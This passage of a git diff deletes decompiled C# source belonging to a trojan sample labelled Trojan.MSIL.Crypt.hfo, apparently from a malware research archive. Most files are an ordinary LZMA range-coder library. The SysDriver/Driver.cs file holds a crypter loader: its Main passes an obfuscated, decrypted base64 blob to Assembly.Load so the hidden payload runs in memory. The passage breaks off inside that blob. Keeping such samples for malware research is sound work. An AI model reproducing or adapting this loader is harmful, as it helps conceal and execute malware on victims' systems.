5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index e91caae5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 05c6bc09..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 4888d789..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 3762e7c3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/DataErrorException.cs deleted file mode 100644 index 3efaaf5c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICodeProgress.cs deleted file mode 100644 index 8f5a242f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICoder.cs deleted file mode 100644 index a6d5e590..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetCoderProperties.cs deleted file mode 100644 index 207d2b7d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetDecoderProperties.cs deleted file mode 100644 index e60436ae..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/IWriteCoderProperties.cs deleted file mode 100644 index b9e569fd..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/InvalidParamException.cs deleted file mode 100644 index 29c80cdd..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/SysDriver/Driver.cs deleted file mode 100644 index 5a43a846..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Wz36YeEp74AgFw89NqCm2n5J2 = Assembly.Load(Driver.s9CLo54Dft3R2N("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